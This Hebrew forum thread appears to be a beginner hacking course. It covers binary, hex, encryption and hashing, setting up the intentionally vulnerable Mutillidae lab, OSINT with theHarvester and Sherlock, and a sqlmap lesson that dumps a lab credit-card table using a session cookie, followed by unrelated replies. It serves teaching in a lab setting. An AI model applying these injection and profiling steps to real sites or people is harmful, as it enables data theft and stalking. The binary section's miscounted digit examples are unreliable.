אחרי שמגיעים ל־9 כבר אין עוד ספרה, (נתקענו כיביכול) ולכן פותחים עמודה חדשה: (ובה עוברים מאחדות לעשרות) (דוגמה מצורפת)
9
10
11
12
כל עמודה חדשה גדולה פי עשרה מהקודמת:
אחדות
עשרות
מאות
אלפים
ובגלל שכל עשר הספירה מתאפסת זה נקרא בסיס עשרוני (משפט לא מדויק, אבל בסדר)
בבינארי העיקרון די זהה.
ההבדל ההגדול הוא שיש רק שתי ספרות.
0 ו־1.
לכן כל עמודה גדלה כל פי 2 במקום כל פי 10.
העמודות הן:
2⁰ = 1 כלומר 2 בחזקת 0 שווה 1
2¹ = 2 כלומר 2 בחזקת 1 שווה 2 (וביחד עם העמדה הקודמת יש 3 ספרות כבר, 0,1,2,)
2² = 4 כלומר 2 בחזקת 2 שווה 4 (וביחד עם העמדה הקודמת יש 8 ספרות כבר, 0,1,2,3,4,5,6,7,)
2³ = 8 כלומר 2 בחזקת 3 שווה 8 (וביחד עם העמדה הקודמת יש 16 ספרות כבר, 0,1,2,3,4,5,6,7.8,9,10,11,12,13,14,15,16,)
2⁴ = 16 כלומר 2 בחזקת 4 שווה 16 (ואני מניח שהבנתם)
וכן הלאה.
דוגמה
אם נרצה לכתוב את המספר 11 בבינארי.
נעבור על הערכים מהגדול לקטן.
האם נכנס 8 בתוך 11?
כן.
נרשום 1. (כיביכול נפעיל את המתג)
נשאר 3.
האם נכנס 4?
לא.
נרשום 0. (לא נפעיל את המתג)
האם נכנס 2?
כן.
נרשום 1.
נשאר 1.(כן נפעיל את המתג)
האם נכנס 1?
כן.
נרשום 1.(כו נפעיל את המתג)
קיבלנו:
1011
כלומר.
11₁₀ = 1011₂
תמונה לדוגמה בספוילר
2. הקסדצימלי (בסיס 16)
אם נפתח קובץ בינארי ברמת הביטים, נקבל משהו כזה:
0110100001100101011011000110110001101111
עבור מחשב זו דרך עבודה מצוינת. שלא גורמת לו לחפש את העוצמה המדויקת של חשמל,
עבור בני אדם?
כמעט בלתי אפשרי לקרוא רצף כזה, למצוא בו שגיאות או לעבוד איתו.
לכן נוצר הייצוג ההקסדצימלי (Hexadecimal).
במקום להשתמש בשתי ספרות בלבד, הוא משתמש ב־16 סימנים שונים:
כלומר:
כל ארבעה ביטים יכולים להיות מיוצגים באמצעות תו הקסדצימלי אחד.
לדוגמה:
11011011
נחלק לשני חלקים:
1101
1011
החלק הראשון:
1101 = 13 = D
החלק השני:
1011 = 11 = B
לכן במקום לכתוב:
11011011
אפשר פשוט לכתוב:
DB
לעתים קרובות מוסיפים גם את התחילית:
0xDB
כדי לציין שמדובר במספר הקסדצימלי.
(אגב זה העדכון הנושא על איזה פוסט נוסף)
זו בדיוק הסיבה שמתכנתים, חוקרי אבטחה ומהנדסי חומרה עובדים הרבה עם הקסדצימלי.
הוא הרבה יותר קצר לקריאה, פחות מועד לטעויות, ועדיין מייצג בדיוק את אותם הביטים שנמצאים בזיכרון המחשב.
3. תורת ההצפנה (Cryptography) – איך שומרים שמידע יישאר סודי?
אחרי שהבנו איך מחשב מייצג מידע, אפשר לעבור לשאלה החשובה באמת:
איך מגנים על המידע הזה?
זו בדיוק המטרה של הקריפטוגרפיה (Cryptography) – תחום שעוסק בהגנה על מידע באמצעות אלגוריתמים מתמטיים.
המטרה פשוטה: לאפשר לשני צדדים להעביר מידע דרך רשת ציבורית כמו האינטרנט, כך שגם אם מישהו יירט את התקשורת בדרך, הוא לא יוכל להבין את תוכנה.
כיום קיימות שתי שיטות הצפנה עיקריות:
הצפנה סימטרית (Symmetric Encryption)
הצפנה א־סימטרית (Asymmetric Encryption)
הצפנה סימטרית – מפתח אחד לשני הכיוונים
בהצפנה סימטרית משתמשים באותו מפתח גם להצפנה וגם לפענוח.
כלומר, מי שמצפין את המידע ומי שמפענח אותו חייבים להחזיק בדיוק את אותו מפתח סודי.
איך זה עובד?
נניח ששמעון רוצה לשלוח קובץ ללוי.
לשניהם יש מראש מפתח סודי משותף, למשל:
GreenApple123
שמעון לוקח את הקובץ, מזין אותו לאלגוריתם ההצפנה יחד עם המפתח, והאלגוריתם הופך את המידע לרצף נתונים שנראה אקראי לחלוטין.
המידע המוצפן נשלח דרך האינטרנט.
גם אם מישהו יירט אותו בדרך, הוא יראה רק אוסף של תווים חסרי משמעות.
כאשר לוי מקבל את הקובץ, הוא מזין אותו לאותו אלגוריתם יחד עם אותו מפתח, והמידע חוזר בדיוק לצורתו המקורית.
AES – תקן ההצפנה מהנפוצים בעולם
האלגוריתם הסימטרי הנפוץ מאוד כיום נקרא AES (Advanced Encryption Standard).
זהו התקן שבו משתמשים כמעט בכל מקום:
אתרי אינטרנט.
מערכות הפעלה.
דיסקים מוצפנים.
תוכנות גיבוי.
שירותי ענן.
AES עובד בצורה מעט שונה ממה שאנשים בדרך כלל מדמיינים.
הוא לא מצפין כל אות בנפרד.
במקום זאת הוא מחלק את המידע לבלוקים בגודל קבוע של 128 ביט, ועל כל בלוק הוא מבצע סדרה של פעולות מתמטיות מורכבות.
בין הפעולות האלו נמצאות:
החלפת ערכים (SubBytes)
הזזת שורות (ShiftRows)
ערבוב עמודות (MixColumns)
הוספת מפתח (AddRoundKey)
כל סבב כזה משנה את הנתונים עוד ועוד, עד שהפלט כבר לא דומה בכלל למידע המקורי.
ב־AES-256 מתבצעים 14 סבבים של פעולות כאלה.
התוצאה היא הצפנה שנחשבת כיום לבטוחה מאוד.
למעשה, אין כיום דרך מעשית לפצח AES-256 באמצעות כוח חישובי בלבד.
גם מחשבי־על היו זקוקים לפרק זמן ארוך כדי לנסות את כל האפשרויות האפשריות.
הבעיה הגדולה של ההצפנה הסימטרית
למרות שההצפנה עצמה חזקה מאוד, היא יוצרת בעיה אחרת. איך בכלל מעבירים את המפתח הסודי?
נניח ששמעון ולוי מעולם לא נפגשו.
אם שמעון ישלח ללוי את המפתח דרך האינטרנט, גם תוקף שמאזין לרשת יקבל אותו.
ומאותו רגע כל ההצפנה מאבדת את המשמעות שלה.
הבעיה הזו נקראת: Key Distribution Problem – בעיית הפצת המפתחות.
במשך שנים זו הייתה אחת הבעיות הגדולות ביותר בעולם הקריפטוגרפיה.
הצפנה א־סימטרית – שני מפתחות במקום אחד
כדי לפתור את בעיית הפצת המפתחות, פותחה בשנת 1976 שיטה חדשה לחלוטין.
במקום להשתמש במפתח אחד, כל משתמש מחזיק שני מפתחות שונים.
מפתח ציבורי (Public Key)
מפתח פרטי (Private Key)
המפתח הציבורי יכול להיות גלוי לכולם.
אפשר לפרסם אותו באתר אינטרנט, לשלוח אותו במייל או לתת אותו לכל מי שמבקש.
אין בכך שום בעיה.
לעומת זאת, המפתח הפרטי חייב להישאר סודי לחלוטין ולעולם לא לעזוב את המחשב של בעליו.
איך זה עובד?
נניח ששמעון רוצה לשלוח הודעה ללוי.
לוי שולח לו את המפתח הציבורי שלו.
שמעון משתמש במפתח הזה (הציבורי) כדי להצפין את ההודעה.
כעת אפשר לשלוח את ההודעה דרך כל רשת בעולם.
גם אם תוקף יירט את כל התקשורת, הוא עדיין לא יוכל לקרוא את ההודעה.
למה????
כי את המידע שהוצפן באמצעות המפתח הציבורי, אפשר לפתוח אך ורק באמצעות המפתח הפרטי המתאים.
והמפתח הפרטי נמצא רק אצל לוי.
זו הנקודה שהופכת את ההצפנה הא־סימטרית למהפכה אמיתית בעולם האבטחה.
מה עומד מאחורי זה מבחינה מתמטית?
הקסם הזה נשען על מה שנקרא פונקציות חד־כיווניות (Trapdoor Functions).
אלו בעיות מתמטיות שקל מאוד לבצע בכיוון אחד, אבל קשה בצורה קיצונית לבצע בכיוון ההפוך.
הדוגמה המפורסמת ביותר היא אלגוריתם RSA.
RSA מבוסס על בעיית פירוק לגורמים ראשוניים.
קל מאוד לקחת שני מספרים ראשוניים עצומים ולהכפיל אותם.
גם מחשב פשוט יבצע את הפעולה הזו בתוך שבריר שנייה.
אבל אם נותנים למחשב רק את תוצאת המכפלה, ומבקשים ממנו למצוא מהם שני המספרים הראשוניים שיצרו אותה, המשימה הופכת קשה בצורה קיצונית.
ככל שהמספרים גדולים יותר, כך זמן החישוב גדל בצורה דרמטית.
על הקושי המתמטי הזה מבוססת האבטחה של RSA.
לכן אפשר לפרסם את המפתח הציבורי ללא חשש, משום שמתוכו כמעט בלתי אפשרי לחשב את המפתח הפרטי.
חלק 3 – הצפנת נתונים במנוחה (Encryption at Rest)
עד עכשיו דיברנו על הצפנה בזמן שהמידע עובר ברשת (Encryption in Transit). אבל יש שלב נוסף, ולא פחות חשוב: מה קורה למידע אחרי שהוא כבר הגיע לשרת ונשמר במסד הנתונים?
הרבה אנשים חושבים שאם האתר עובד ב־HTTPS אז המידע שלהם מוגן. בפועל, HTTPS מגן רק על הדרך שבין הדפדפן לשרת. ברגע שהשרת קיבל את הנתונים ושמר אותם במסד הנתונים – תפקידו של HTTPS הסתיים.
מכאן נכנסת לתמונה שיטת הגנה אחרת שנקראת הצפנת נתונים במנוחה (Encryption at Rest).
הרעיון פשוט: גם אם מישהו הצליח להגיע למסד הנתונים, הוא לא אמור לראות את המידע כפי שהוא.
לדוגמה, נניח שבטבלת המשתמשים שמור מספר כרטיס אשראי כך:
4580123412341234
אם המידע נשמר ללא הצפנה, כל מי שישיג גישה למסד הנתונים יראה בדיוק את המספר הזה.
לעומת זאת, אם המידע נשמר כשהוא מוצפן, הוא עשוי להיראות כך:
Q7z4L1Xk9Pq2v8RmN6aW...
בלי מפתח ההצפנה, לרצף הזה אין שום משמעות.
חשוב להבין שהמטרה של ההצפנה היא לא למנוע פריצה.
אם הצליחו לפרוץ – הפריצה כבר קרתה.
המטרה היא לצמצם את הנזק שנגרם בעקבות הפריצה.
כלומר, גם אם התוקף הצליח לבצע SQL Injection, כלומר להיכנס למסד הנתונים ולשלוף את כל הטבלה, הוא יקבל נתונים מוצפנים במקום מידע שימושי.
הצפנה לעומת Hash
כאן חשוב לעצור ולהבדיל בין שני מושגים שמבלבלים הרבה אנשים.
Encryption (הצפנה) נועדה למידע שצריך לשחזר בעתיד.
לדוגמה:
מספר כרטיס אשראי.
מספר חשבון בנק.
מפתחות API.
מידע רפואי.
בכל המקרים האלה השרת צריך להיות מסוגל לקרוא את המידע בעת הצורך, ולכן משתמשים בהצפנה ובמפתח שמאפשר לפענח אותו.
לעומת זאת, Hash (גיבוב) הוא תהליך חד־כיווני.
אי אפשר "לפענח" Hash בחזרה לערך המקורי.
לכן משתמשים בו בעיקר עבור סיסמאות.
כאשר משתמש מתחבר, השרת לא שומר את הסיסמה עצמה.
במקום זאת הוא מחשב Hash לסיסמה שהוקלדה ומשווה אותו ל־Hash השמור במסד הנתונים.
אם הם זהים – המשתמש מזוהה.
אם לא – הגישה נדחית.
זו הסיבה שבמערכות מודרניות כמעט אף פעם לא תמצאו סיסמאות שמורות בטקסט גלוי.
אז למה לא להצפין הכול?
זו שאלה שעולה כמעט תמיד.
אם הצפנה זה דבר כל כך טוב, למה שלא נצפין כל שדה שאפשר במסד הנתונים?
יש לכך כמה סיבות.
ראשית, כל הצפנה מוסיפה עומס מסוים על השרת.
שנית, מידע מוצפן קשה יותר לחיפוש, למיון ולביצוע שאילתות.
בנוסף, אם כל מסד הנתונים מוצפן, צריך לנהל בצורה מאובטחת מאוד את מפתחות ההצפנה. אם מפתח ההצפנה נגנב יחד עם מסד הנתונים, רמת ההגנה יורדת משמעותית.
לכן ברוב המערכות לא מצפינים הכול.
מצפינים רק את המידע שבאמת עלול לגרום לנזק משמעותי אם ידלוף.
מה למדנו היום?
✓ כיצד מחשב מייצג כל סוג של מידע באמצעות ביטים (Bits) ובינארי (Binary).
✓ כיצד טקסט, תמונות, קבצי שמע וסרטונים נשמרים כולם כרצף של אפסים ואחדים.
✓ מהי הצפנה, ומה מטרתה בהגנה על מידע רגיש.
✓ מה ההבדל בין הצפנה בזמן מעבר (Encryption in Transit) לבין הצפנת מידע במנוחה (Encryption at Rest).
✓ כיצד HTTPS מגן על המידע בזמן שהוא עובר בין הדפדפן לשרת, ומה המגבלות שלו לאחר שהמידע נשמר במסד הנתונים.
✓ כיצד הצפנת מידע מצמצמת את הנזק גם במקרה של SQL Injection או דליפת מסד נתונים.
✓ מה ההבדל בין Encryption (הצפנה) לבין Hash (גיבוב), ומתי משתמשים בכל אחד מהם.
✓ מדוע סיסמאות נשמרות באמצעות Hash ולא באמצעות הצפנה רגילה.
✓ מדוע לא מצפינים כל שדה במסד הנתונים, ואילו סוגי מידע חשוב במיוחד להצפין.
עד עכשיו דיברנו בעיקר על תיאוריה. היום נקים סביבת תרגול אמיתית שבה נוכל ללמוד ולבדוק חולשות בצורה בטוחה וחוקית.
אז ככה היום נסביר על הקמת אתר פגיע אנחנו נכנסים לדפדפן
ברירת המחדל בקאלי, פרייפוקס וכותבים https://vwad.owasp.org/
למידע נוסף תכתבו בגוגל owasp והוא ייתן לכם את המידע
OWASP הוא ארגון בינלאומי ללא מטרות רווח העוסק בקידום אבטחת יישומי ווב ומפרסם חומרי לימוד, כלים ופרויקטים קהילתיים.
ויש גם גיטאהב שנותן את המידע לאתגרים הטובים ביותר של השנה
אוקיי אז נכנסנו לאתר והוא נראה ככה
יש בו אתגר אקראי לחלוטין יש מצב שאתם תיראו משהו אחר בכלל
בכל אופן גוללים קצת למטה
ויש שם תיבת חיפוש עם פרמטרים
זה התיבה יש כאן פרמטר של איזה צורה אונליין או דווקא אופליין ודוקר וכולי
ועוד תיבה של שבה יש פרמטר האם המשחק יהיה מרובה משתתפים או אתגר סולו
ואנחנו רוצים את אתגר הבא
למה דווקא Mutillidae?
קיימות מספר מעבדות פגיעות ללימוד אבטחת מידע, כגון DVWA, OWASP Juice Shop ו-Mutillidae.
בחרתי ב-Mutillidae משום שהיא כוללת מגוון רחב מאוד של חולשות ברמות קושי שונות, מאפשרת לשנות את רמת האבטחה בלחיצת כפתור, ומיועדת במיוחד ללימוד ותרגול בסביבה מקומית ובטוחה.
Mutillidae היא אפליקציית ווב שנבנתה בכוונה עם חולשות אבטחה רבות. המטרה שלה היא לאפשר לימוד ותרגול בסביבה בטוחה מבלי לפגוע במערכות אמיתיות.
אנחנו נחפש כאן Mutillidae ונמצא את זה
כאן יש כמה אופציות הורדה
שבגדול מתחלקות לשתיים
אחד התקנה רגילה מה שאומר שצריך להגדיר את הקונטנרים לבד
והשניה עם דוקר שהוא בונה הקונטנרים לבד ומגדיר לבד
Docker מאפשר להריץ אפליקציות בתוך סביבות מבודדות (קונטיינרים) בלי להגדיר ידנית את כל הרכיבים שהן צריכות.
אני אישית לא באתי לסבך כמה שיותר אלא לקצר (להאריך תמיד אפשר עם קצת עזרה מAI)
אז אנחנו נשתמש בדוקר אז באתר תלחצו על הדוקר ותגיעו לגיטאהב
נגלול קצת למטה (מי שמעוניין יש את הרדמי הקבוע)(ויש גם הדרכות ביוטיוב הקישורים בגיטהאב)
לפני שממשיכים ודאו שמותקנים:
Git
Docker
Docker Compose
ואז חפשו את הפקודה
עד שנגיע לפקודה הבאה
git clone https://github.com/webpwnized/mutillidae-docker.git
cd mutillidae-docker
docker compose -f .build/docker-compose.yml up --build --detach
ונריץ את הפקודה בטרמינל
הסבר קצר על הפקודות
git clone - מוריד את הפרויקט מגיטהאב.
cd - נכנס לתיקיית הפרויקט.
docker compose - בונה ומפעיל את כל הקונטיינרים הדרושים.
ונקווה לטוב (לי אישית עשה בעיות ככה שאני לא יכול להציג את מה שהיה אצלי)
אחרי הרצה של השורה הקודמת אתם נכנסים לכתובת http://127.0.0.1/
127.0.0.1 היא כתובת שמפנה למחשב שלכם עצמו (localhost).
שימו לב שבכוונה הכתובת לא מאובטחת אין את הS
האתר אמור להראות ככה
אם האתר עולה אך מציג שגיאות או שהנתונים אינם קיימים, נסו להריץ:
# Requesting Mutillidae database be built.
curl http://127.0.0.1/set-up-database.php;
האתר כולל גם סביבת LDAP לצורך תרגול. אם תרצו ליצור משתמשי דוגמה, ניתן לטעון אותם באמצעות הפקודות הבאות.
יש באתר מגוון פגיעות נסו לגלות אותם לפני ולעלות אותם לתגובות כאן
אני ישתדל בהקדם להסביר על פגיעות שבאתר
זהו לבנתיים הצלחה
מה למדנו היום?
✓ מהו OWASP ומה מטרת הפרויקטים שהוא מספק ללימוד אבטחת מידע.
✓ מהי מעבדת Mutillidae ולמה היא משמשת לתרגול חולשות בצורה בטוחה וחוקית.
✓ כיצד מורידים ומפעילים את סביבת התרגול באמצעות Docker.
✓ מה תפקידן של הפקודות git clone, cd ו־docker compose.
✓ מהי הכתובת 127.0.0.1 ולמה היא מפנה למחשב המקומי.
✓ כיצד ליצור את בסיס הנתונים של המעבדה במקרה הצורך.
✓ כיצד לטעון משתמשי LDAP לצורך תרגול נוסף.
בפרק הבא נבצע את התרגול הראשון ונראה כיצד חולשת SQL Injection יכולה לחשוף מידע מתוך מסד נתונים.
אז שם פירטנו על השלבים בפריצה
ואם בפוסטים האחורנים התמקדנו יותר בשלב השלישי של הפריצה
הפעם אני לוקח אותכם קצת אחורה ומסביר בצורה נרחבת את השלב הראשון
שימו לב שהאתרים שנבחרו הפעם הם אקראים לחלוטין אתם מוזמנים לעלות את האתרים שאתם בחרתם לבדוק לתגובות ולספר על התוצאות
אז בוא ונסביר את השלב הזה
השלב הזה נקרא OSINT (ראשי תיבות של Open Source Intelligence).
הרעיון פשוט מאוד:
לא פורצים.
לא שולחים מתקפות.
לא מריצים ניצולים.
פשוט אוספים מידע שכבר קיים באינטרנט.
לפעמים אפשר ללמוד המון על ארגון רק ממה שהוא פרסם בעצמו.
היום נכיר שני כלים שנמצאים בקאלי ויכולים לעזור לנו בשלב הזה.
חלק ראשון – theHarvester (האוסף)
הכלי theHarvester נועד לאסוף מידע על דומיינים וארגונים.
הוא יודע לחפש במנועי חיפוש ציבוריים, מאגרי מידע שונים ושירותים נוספים, ולרכז עבורנו את המידע שמצא.
כדי להשתמש בו פותחים טרמינל ומריצים:
theHarvester -d sans.org -l 200 -b all
הסבר קצר:
-d sans.org
הדומיין שאותו אנחנו רוצים לבדוק.
-l 200
מספר התוצאות המקסימלי שהכלי ינסה לאסוף.
-b all
בקשה לחפש בכל מקורות המידע הציבוריים שהכלי תומך בהם.
כלומר כלל מנועי החיפוש
לפעמים הם מוגנים פחות מהאתר הראשי.
(ולמה?
כי המפתח יוצא מנקודת הנחה שסתם האדם לא רואה את הכתובת הזאת)
עוד דבר שאפשר למצוא הוא כתובות IP.
אם כול הכתובת שייכות למשל ל־Cloudflare, אפשר להבין שהאתר משתמש בשירות ההגנה שלהם.
בנוסף הכלי מחזיר לפעמים קישורים מעניינים שלא תמיד קל למצוא דרך דף הבית.
חלק שני – Sherlock (שרלוק (על שם הבלש שרלוק הולמס))
אם theHarvester מתמקד באתרים וארגונים, Sherlock מתמקד באנשים.
הכלי עובד בצורה הבאה הוא מחפש שם משתמש (user_name ) במאות אתרים שונים ומנסה לבדוק איפה הוא קיים.
דוגמה:
sherlock israel_israeli israel.israeli israelisraeli
הפקודה מחפשת כמה וריאציות (אופציות) שונות של אותו שם משתמש.
למה?
כי אנשים לא תמיד משתמשים באותו שם בכל אתר.
במקום אחד יהיה:
israel_israeli
ובמקום אחר:
israel.israeli
או אפילו:
israelisraeli
מה התוצאות שאנחנו מקבלים?
אם הכלי ימצא התאמות הוא יציג קישורים לאתרים שבהם אותו שם משתמש קיים.
לפעמים תמצאו חשבון GitHub.
לפעמים Reddit.
לפעמים פורומים קטנים או אתרי גיימינג שאף אחד לא זוכר שהם קיימים.
בנוסף Sherlock שומר את התוצאות בקובץ טקסט בתוך התיקייה שבה הרצתם אותו, כך שאפשר לחזור אליהן גם מאוחר יותר.
כמה מילים על החוקיות
הכלים שהצגנו היום עובדים על מידע ציבורי.
הם לא פורצים לשום מערכת ולא מנצלים חולשות.
אבל חשוב לזכור:
לאסוף מידע זה דבר אחד.
להתחיל לבצע סריקות אגרסיביות או ניסיונות חדירה למערכות שלא שייכות לכם זה כבר סיפור אחר לגמרי.
(ואנשים אני לא מזהיר סתם,
זה אומנם נושא נחמד
אבל לא להתעסק איתו מתוך דימיונות שאתם יכולים לעשות והכל)
לכן אנחנו משתדלים לעבוד רק על מערכות שקיבלנו עליהן אישור, מעבדות לימוד ייעודיות או תוכניות Bug Bounty מאושרות.
מה למדנו היום?
✓ מה זה OSINT.
✓ מה ההבדל בין איסוף מידע לבין תקיפה.
✓ איך להשתמש ב־theHarvester כדי לאסוף מידע על דומיינים.
✓ איך להשתמש ב־Sherlock כדי לחפש שמות משתמש באינטרנט.
✓ אילו סוגי מידע אפשר למצוא בלי לשלוח אפילו חבילת תקיפה אחת.
בפרק הבא נמשיך להכיר כלים נוספים לאיסוף מידע ונראה איך מחברים את כל פיסות המידע לתמונה אחת מלאה.
היום הייתי בוובינר של חברת קיסקו (cisco) על המוצר שלהם splunk (שאפלנק)
זה מוצר שאני אומנם לא יודע מתי הצפי שלו לצאת לשוק אבל נשמע מסקרן
מדובר במוצר שאמור לבנות מערכת הגנה לארגון מפני איומי סייבר מקצה לקצה באמצעות AI
והם התחילו היום בהסבר שאם בשנת 2018 היה פריצות אבטחה שלקחו למעלה משנתים וחצי לתקנם (ולבנתיים לא בהכרח הפורצים ידעו לנצל את הפריצה (כי לנצל פריצה לפני עידן הAI לקח מלא נסיונות וניחושים שונים וניסיונות קריאת קוד מתוכנת כדי לפרוץ) היום (2026) בעידן ה AI מהזמן שהפריצה מתגלת עד לניצול ראשוני לוקח באזור 20 שעות!!!!)
שימו לב משנתיים וחצי ל20 שעות
ועוד נקודה שהם מעלים זה ש מ2018 ועד היום מספר האנליסטים לא עלה בצורה משמעותית כדי להצליח להגן בזמן אמת
ולכן הם יצרו את הכלי שלהם שכהיום לא מחליף את האנליסט אבל נותן לו את המקסימום תמיכה
והם מתחילים בזה שהכלי מסנן בהתחלה את הדאטה שעליו הוא יעבוד
סיסמאות אשראי וכולי בחוץ
גם מידע שלא מועיל למערכת יהיה בחוץ כלומר היא לא משתמשת באותו דאטה אלא אוספת אותו וממקמת אותו מחדש אצלה בתוכנה
וכמובן השלב הזה ניתן להחלטה מלאה של האנליסט
מה יעבור ולמה
בשלב הבא הם נתנו לי לראות שהמערכת שלהם תומכת כל API הן של גימיני, אופןAI, אנטרופיק, וכולי
אחרי המערכת יודעת על איזה קבצים היא עובדת מגיע השלב הם הראו שהמערכת מסוגלת לנתח בראיה כוללנית מאוד
כלומר ליצור התראה על משתמשים עם הרבה פעילות חריגה
ועם הסבר לאנליסט למה המשתמש קיבל את הדירוג הזה
ובנוסף על מנת להקל על האנליסט כל דבר שהמערכת כותבת לו מגובה בתרשים קנבה
שאם לוחצים על התרשים הוא מספק את המקורות והסיבה לתרשים
ובשלב האחרון הם הראו שהמערכת מסוגלת להוציא פתרונות לאחרי הפריצה על בסיס מסמכי הארגון שמגדירים מראש אצלם במערכת
וכמובן אם המערכת תציע פתרון היא תסביר למה הפתרון הזה דווקא
ואת השלב הזה ניתן להחליט האם להפוך אותו לאוטונומי או לא
ככה שהמערכת יכולה להיות מוגנת מקצה לקצה בפקודה אחת
תודה על המילים
אבל כשעברתי על מה שכתוב הגעתי למסקנה שאין סיכוי שמתחיל הצליח את זה מבלי לשאול כלום
ככה שלכאורה אין מתחילים שמחפשים את התחום
אז רק המקוצענים אבל אני גם אם מקצוענים לא יכול להתחיל בלי רקע ככה שיש קצת מזל שהתחלתי מהתחלה
בפרק הקודם מיפינו את בסיס הנתונים, גילינו את הטבלאות הקיימות ולמדנו כיצד להבין את מבנה הנתונים. כעת נשתמש במידע שאספנו כדי להתמקד בטבלה מסוימת ולבחון את המשמעות של חשיפת מידע רגיש.
מה אנחנו עושים בפרק הזה? (מטרת השיעור)
עד עכשיו עבדנו "על יבש" – בדקנו אם יש פגיעות, וקיבלנו את רשימת הטבלאות הכללית של מסד הנתונים. אבל בעולם האמיתי, הגנת האתר לא נמדדת רק ב"האם יש חור באבטחה", אלא באיזה מידע אפשר לגנוב דרך החור הזה.
במעבדת Mutillidae קיימת טבלת כרטיסי אשראי שנועדה לצורכי תרגול בלבד.
בפרק הנוכחי אנחנו הולכים לקבוע נקודת כניסה ממוקדת, לפנות ישירות לטבלה הרגישה ביותר במערכת – טבלת כרטיסי האשראי (credit_cards), ולבצע לה "דאמפ" (Dump). אנחנו נשלוף את מספרי הכרטיסים, התוקף וקודי ה-CVV של הלקוחות כדי להבין איך פגיעת ווב פשוטה מובילה לזליגת מידע קריטית.
שלב 1: מאיפה מביאים את העוגייה? (הכנת המפתח)
כדי ש-sqlmap יוכל לעבוד בתוך העמודים הפנימיים של האתר, הוא חייב להזדהות מול השרת בשמנו. בשביל זה אנחנו צריכים להביא לו את עוגיית החיבור שלנו (ה-Session). אם לא נעשה את זה, השרת יזהה שמדובר בבקשה אנונימית, יחסום את הכלי, והפריצה תיכשל.
לבחרתכם שתי שיטות פשוטות להוצאת העוגייה מתוך הדפדפן:
שיטה א': דרך לשונית האחסון (Storage) – השיטה הוויזואלית
בעמוד הפנימי של האתר (View Account Details), לחצו על מקש F12 במקלדת כדי לפתוח את כלי המפתחים.
בתפריט העליון של כלי המפתחים, לחצו על הלשונית Storage (בדפדפן פיירפוקס) או Application (בדפדפן כרום).
בתפריט הצדדי שייפתח, לחצו על החץ הקטן ליד Cookies, ואז בחרו בכתובת של האתר שלכם (https://127.0.0.1).
במרכז המסך תיפתח טבלה. חפשו בעמודת ה-Name את השורה שנקראת PHPSESSID.
הערך הארוך שמופיע לידה בעמודת Value הוא ה-Session ID שלכם. העתיקו אותו.
שיטה ב': דרך ה-Console – שיטת הקוד הזריזה
באותו מסך של כלי המפתחים (F12), עברו ללשונית Console (קונסול).
הקלידו את השורה הבאה בדיוק ולחצו Enter:
document.cookie
הדפדפן ידפיס לכם את העוגייה על המסך. העתיקו את רצף האותיות והמספרים שמופיע מיד אחרי הסימן = של ה-PHPSESSID.
שלב 2: שלב הביצוע והרצת החילוץ הממוקד
עכשיו, כשבידכם העוגייה שלכם, פתחו את הטרמינל ב-Kali Linux והריצו את הפקודה הבאה.
מה קרה כאן מאחורי הקלעים?
-u "https://...": כתובת היעד הציבורית של העמוד הפנימי אותו אנחנו תוקפים.
-p username: מנחה את הכלי לבצע את המניפולציות אך ורק על השדה של שם המשתמש, מה שמקצר את זמן הבדיקה משמעותית.
--dbms=mysql: אומר לכלי שמסד הנתונים מאחורי הקלעים הוא מסוג MySQL, וחוסך לו זמן של ניחוש ובדיקת פקודות שלא מתאימות לשרת.
--cookie="PHPSESSID=...": מזריק את תעודת הזהות שלכם לתוך הכלי כדי שהשרת יזהה אותו כמשתמש מחובר לגיטימי וייתן לו לסרוק מבפנים.
--batch: פרמטר מפתח בעבודה מקצועית. הוא מורה לכלי לרוץ אוטומטית ולבחר תמיד בתשובות ברירת המחדל (Default) בלי לעצור כל שתי שניות ולשאול אותנו שאלות בטרמינל שיכולות לתקוע את התהליך.
-D mutillidae -T credit_cards: מנווט את sqlmap ישירות לבסיס הנתונים mutillidae ולטבלת כרטיסי האשראי הספציפית credit_cards.
--dump: פקודת המחץ שמרוקנת את תוכן הטבלה ומציגה אותו על המסך.
פלט הטרמינל (תוצאת החילוץ):
תוך שניות בודדות הכלי ישאב את הנתונים בעזרת טכניקת הזרקה מהירה ויפלוט לכם על המסך את הטבלה הבאה:
מה למדנו היום?
✓ כיצד להשתמש בהרשאה קיימת לצורך בדיקה פנימית.
✓ מה תפקידה של עוגיית Session.
✓ כיצד ניתן להתמקד בטבלה ספציפית במסד הנתונים.
✓ מדוע חשיפת מידע רגיש היא הסיכון האמיתי שמאחורי SQL Injection.
✓ למה חשוב להגן על מידע רגיש גם בתוך מסד הנתונים עצמו.
אם ישנו חוסר בהבנה אתם מוזמנים להפנות את השאלות שלכם כאן
@י.-פל. אולי אני לא ממש מתעניין מי כתב את הAI הזה
אבל בידע כללי אין עליו וGPT לא מגרד את קצה הקרסול
מלבד הנקודה שגימני יותר סלחן בשניה שאתה עושה משהו לא הכי חוקי וד"ל
@יאיר-3210 למה למחוק??
מותר שיהיה עדכון על כלים מתחרים
(אם GPT וגימיני מתחרים זה מעניין אותך לכן תפרסם רק אחד?)
רק שבאתי לומר שמי שחושב להוריד את זה יש לו משהו קודם
וגם לתת גוואה לאנשי הפורום המעולים פה
ויודע מה
תערוך ותוסיף את הקישור לסמארטי
@דאבל זה לגמריי אקראי הפתיחה של הקופסאות
ואפשר לכתוב למוכר מאלי לשנות הם 99% מהמקרים זורמים
ואם לא הצליח פעם אחת אפשר לקנות שוב וזה יצליח, נדיר שעולים על כזה דבר
@מזכירותי רק לא הבנתי דבר אחד
איפה כתוב שם מה זה מחשב??
ומה עושים איתו??
לפי דעתי אין סיבה לבנאדם שלא יודע לתכנת או רמה מסוימת של שימוש לדעת מה זה שורת הפקודה
ובטח ובטח שכמו שראית שרוב הפקודות הם ללינוקס דבר שבכלל לא עוזר לאדם המומצע והאדם הלא מומצע ידע לפני זה את כל מה שכתוב שם (או לפחות את הרוב)
אז הייתי ממליץ לשנות כותרת